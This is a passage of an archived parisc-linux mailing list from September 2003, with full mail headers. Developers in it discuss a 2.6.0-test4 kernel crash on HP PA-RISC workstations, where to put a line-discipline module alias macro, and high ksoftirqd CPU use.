a broken root filesystem (damn tar for being linked against libpthread!)

I decoded what's going on a little bit.  We're calling
drivers/char/tty_io.c::init_dev() with a `driver' variable set to
0x00000b00.  Quite what's gone wrong to get this to happen, I'm not sure.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] add MODULE_ALIAS_LDISC to asm-parisc/termios.h
Date: Thu, 4 Sep 2003 15:19:28 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20030904141928.GO18654__8903.17055532268$1416622755$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20030904135315.GB2411@conectiva.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622755 30680 80.91.229.3 (22 Nov 2014 02:19:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:15 +0000 (UTC)
To: Arnaldo Carvalho de Melo <acme@conectiva.com.br>,
	Linus Torvalds <torvalds@osdl.org>,
	Matthew Wilcox <willy@debian.org>,
	Rusty Russell <rusty@rustcorp.com.au>,
	parisc-linux@lists.parisc-linux.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  4 08:19:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 40F844830
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Sep 2003 08:19:32 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19uuxM-0005BF-I7; Thu, 04 Sep 2003 15:19:28 +0100
Content-Disposition: inline
In-Reply-To: <20030904135315.GB2411@conectiva.com.br>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19441

On Thu, Sep 04, 2003 at 10:53:15AM -0300, Arnaldo Carvalho de Melo wrote:
> 	This patch makes it compile, doing the same thing that was done to
> include/asm-i386/termios.h, please see if this is acceptable, if it is I can
> provide the same patch for all the other arches.

if it's the same for all arches, why not put it in <linux/termios.h>?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] add MODULE_ALIAS_LDISC to
	asm-parisc/termios.h
Date: 04 Sep 2003 10:24:41 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <1062685483.1829.6.camel__3268.75395044244$1416622756$gmane$org@mulgrave>
References: <20030904135315.GB2411@conectiva.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622756 30681 80.91.229.3 (22 Nov 2014 02:19:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:16 +0000 (UTC)
Cc: Linus Torvalds <torvalds@osdl.org>,
	Matthew Wilcox <willy@debian.org>,
	Rusty Russell <rusty@rustcorp.com.au>,
	PARISC list <parisc-linux@lists.parisc-linux.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Arnaldo Carvalho de Melo <acme@conectiva.com.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  4 08:25:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 15C494830
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Sep 2003 08:25:10 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h84EOgI32758;
	Thu, 4 Sep 2003 10:24:42 -0400
In-Reply-To: <20030904135315.GB2411@conectiva.com.br>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19442

On Thu, 2003-09-04 at 09:53, Arnaldo Carvalho de Melo wrote:
> +#define MODULE_ALIAS_LDISC(ldisc) \
> +        MODULE_ALIAS("tty-ldisc-" __stringify(ldisc))

These are the strings used to identify the required line discipline
module to kmod, aren't they?

Since modprobe.conf seems to be generated without much regard for
architectures, is there any reason why this definition should differ
amongst architectures?  I think the answer's "no", so I think this fix
should be in linux/termios.h (or somewhere architecture independent).

James




From - Thu Nov 08 21:29:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crash with 2.6.0-test4-pa8 on 715/100
Date: Thu, 4 Sep 2003 16:26:17 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <20030904142616.GT14376@lug-owl.de>
References: <3F5728AB.3040501@hrzpub.tu-darmstadt.de> <20030904140615.GN18654@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="acY8GN8fvSPNWryy"
X-Trace: ger.gmane.org 1416622756 30683 80.91.229.3 (22 Nov 2014 02:19:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  4 08:26:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C9864874
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Sep 2003 08:26:18 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 3D6E94B3CD; Thu,  4 Sep 2003 16:26:17 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030904140615.GN18654@parcelfarce.linux.theplanet.co.uk>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19443

--acY8GN8fvSPNWryy
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 2003-09-04 15:06:15 +0100, Matthew Wilcox <willy@debian.org>
wrote in message <20030904140615.GN18654@parcelfarce.linux.theplanet.co.uk>:
> On Thu, Sep 04, 2003 at 01:57:31PM +0200, Ruediger Scholz wrote:
> > I tried to boot 2.6.0-test4-pa8 on my HP 715/100, but it crashed right=
=20
> > after the message "Freeing unused kernel memory...". I'm using debian=
=20
> > testing with devfs and gcc-3.3.1.
> > I think the pb is devfs, so I will try to boot a kernel without it.
> > Bootlog is attached, Config, System.map is here:=20
> > http://rscholz.bluehash.de/parisc
>=20
> I'm seeing the same thing on my 712 without devfs.  Not sure what the
> problem is, and I'm having a hard time getting that box back up as it has
> a broken root filesystem (damn tar for being linked against libpthread!)

Hmmm... My 712/60 works flawlessly:

jbglaw@hp712-1:~$ uname -a
Linux hp712-1 2.6.0-test4-pa8 #1 Wed Sep 3 19:16:42 CEST 2003 parisc GNU/Li=
nux
jbglaw@hp712-1:~$ uptime
 16:22:22 up 16:58,  1 user,  load average: 0.23, 0.05, 0.02

However, I've not touched the keyboard since the box is standing
somewhere in my cellar and only used by network... Want to see my
=2Econfig?

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--acY8GN8fvSPNWryy
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/V0uIHb1edYOZ4bsRAoBEAKCODwI871/Z9tX7ZmQ+9x6WSXbcNACcD7Fs
SzUHvJ+qeFJ1/H8SGCkRfgE=
=XPeU
-----END PGP SIGNATURE-----

--acY8GN8fvSPNWryy--


From - Thu Nov 08 21:29:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ksoftirqd is using over 90% CPU (?!)
Date: Thu, 04 Sep 2003 21:39:31 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <3F5794F3.4020507@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622756 30687 80.91.229.3 (22 Nov 2014 02:19:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  4 13:40:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A7AA4830
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Sep 2003 13:40:04 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157024128.dialin.heagmedianet.de [213.157.24.128])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.9/8.12.7) with ESMTP id h84JdUIb032264
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Thu, 4 Sep 2003 21:39:52 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
X-MailScanner: Found to be clean
X-MailScanner-SpamCheck: not spam, SpamAssassin (score=0.6, required 5,
	PLING_QUERY, USER_AGENT_MOZILLA_UA, X_ACCEPT_LANG)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19444

Hi there,

just another question: I just ran top to look what processe are running 
and noticed that ksoftirqd is up to 98% CPU time. I remember that there 
was a problem that s.th in the kernel eats up a lot oft CPU time. Wasn't 
it solved?

Ruediger



From - Thu Nov 08 21:29:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ksoftirqd is using over 90% CPU (?!)
Date: Thu, 04 Sep 2003 20:25:56 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <3F579FD4.9020303@tiscali.be>
References: <3F5794F3.4020507@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622756 30689 80.91.229.3 (22 Nov 2014 02:19:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  4 14:25:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id C42E5487D
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Sep 2003 14:25:35 -0600 (MDT)
Original-Received: from [62.235.120.78] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19v0fe-0003Vq-00; Thu, 04 Sep 2003 22:25:34 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030827 Debian/1.4-3
X-Accept-Language: en
In-Reply-To: <3F5794F3.4020507@hrzpub.tu-darmstadt.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19445

Ruediger Scholz wrote:

> Hi there,
>
> just another question: I just ran top to look what processe are 
> running and noticed that ksoftirqd is up to 98% CPU time. I remember 
> that there was a problem that s.th in the kernel eats up a lot oft CPU 
> time. Wasn't it solved?
>
> Ruediger
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
Hi,

Sorry if i do not follow your thread but this looks like a very old pb.
Update your kernel (I do not remember exactly what is installed with 
woody but all later) would help.

hth,
    Joel



From - Thu Nov 08 21:29:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crash with 2.6.0-test4-pa8 on 715/100
Date: Thu, 04 Sep 2003 20:35:56 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <3F57A22C.5050902@tiscali.be>
References: <3F5728AB.3040501@hrzpub.tu-darmstadt.de> <20030904140615.GN18654@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622757 30690 80.91.229.3 (22 Nov 2014 02:19:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:17 +0000 (UTC)
Cc: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  4 14:35:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B6424880
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Sep 2003 14:35:37 -0600 (MDT)
Original-Received: from [62.235.120.78] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19v0pK-0003zr-00; Thu, 04 Sep 2003 22:35:34 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030827 Debian/1.4-3
X-Accept-Language: en
In-Reply-To: <20030904140615.GN18654@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19446

Hi Willy,

Matthew Wilcox wrote:

>On Thu, Sep 04, 2003 at 01:57:31PM +0200, Ruediger Scholz wrote:
>  
>
>>I tried to boot 2.6.0-test4-pa8 on my HP 715/100, but it crashed right 
>>after the message "Freeing unused kernel memory...". I'm using debian 
>>testing with devfs and gcc-3.3.1.
>>I think the pb is devfs, so I will try to boot a kernel without it.
>>Bootlog is attached, Config, System.map is here: 
>>http://rscholz.bluehash.de/parisc
>>    
>>
>
>I'm seeing the same thing on my 712 without devfs.  Not sure what the
>problem is, and I'm having a hard time getting that box back up as it has
>a broken root filesystem (damn tar for being linked against libpthread!)
>  
>
Is that libpthread the cause of your broken fs?

Thanks in advance for advise,
    Joel




From - Thu Nov 08 21:29:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crash with 2.6.0-test4-pa8 on 715/100
Date: Thu, 04 Sep 2003 20:48:11 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <3F57A50B.8050504@tiscali.be>
References: <3F5728AB.3040501@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622757 30693 80.91.229.3 (22 Nov 2014 02:19:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  4 14:47:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 450DC484B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Sep 2003 14:47:50 -0600 (MDT)
Original-Received: from [62.235.120.78] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19v11B-0004ZT-00; Thu, 04 Sep 2003 22:47:49 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030827 Debian/1.4-3
X-Accept-Language: en
In-Reply-To: <3F5728AB.3040501@hrzpub.tu-darmstadt.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19447

Ruediger Scholz wrote:

> Hi there,
>
> I tried to boot 2.6.0-test4-pa8 on my HP 715/100, but it crashed right 
> after the message "Freeing unused kernel memory...". I'm using debian 
> testing with devfs and gcc-3.3.1.
> I think the pb is devfs, so I will try to boot a kernel without it.
> Bootlog is attached, Config, System.map is here: 
> http://rscholz.bluehash.de/parisc

May I ask you how do you build your .config?
I presume that it is a custom one if you tried devfs. hmm isn't it 
obsolete now?

iirc i encounter the same pb with my b2k. I find a work around by 
accident: removing all kind of console (pdc, serial) make it boot. I 
tried to obtain a patch for a network console for 2.6 but without success :(

Sorry to be not more helpfull but even a toc didn't help to analyse this 
pb :(

Thanks for info,
    Joel



From - Thu Nov 08 21:29:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crash with 2.6.0-test4-pa8 on 715/100
Date: Thu, 4 Sep 2003 22:00:00 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20030904210000.GZ18654@parcelfarce.linux.theplanet.co.uk>
References: <3F5728AB.3040501@hrzpub.tu-darmstadt.de> <20030904140615.GN18654@parcelfarce.linux.theplanet.co.uk> <3F57A22C.5050902@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622757 30700 80.91.229.3 (22 Nov 2014 02:19:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:17 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  4 15:00:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 96C0D488B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Sep 2003 15:00:03 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19v1Cz-0002kX-EI; Thu, 04 Sep 2003 22:00:01 +0100
Content-Disposition: inline
In-Reply-To: <3F57A22C.5050902@tiscali.be>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19448

On Thu, Sep 04, 2003 at 08:35:56PM +0000, Joel Soete wrote:
> Hi Willy,
> >I'm seeing the same thing on my 712 without devfs.  Not sure what the
> >problem is, and I'm having a hard time getting that box back up as it has
> >a broken root filesystem (damn tar for being linked against libpthread!)
> >
> Is that libpthread the cause of your broken fs?

no, a 2.4 kernel doesn't have the same problem.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ksoftirqd is using over 90% CPU (?!)
Date: Thu, 04 Sep 2003 23:31:11 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <3F57AF1F.6080404@hrzpub.tu-darmstadt.de>
References: <3F5794F3.4020507@hrzpub.tu-darmstadt.de> <3F579FD4.9020303@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
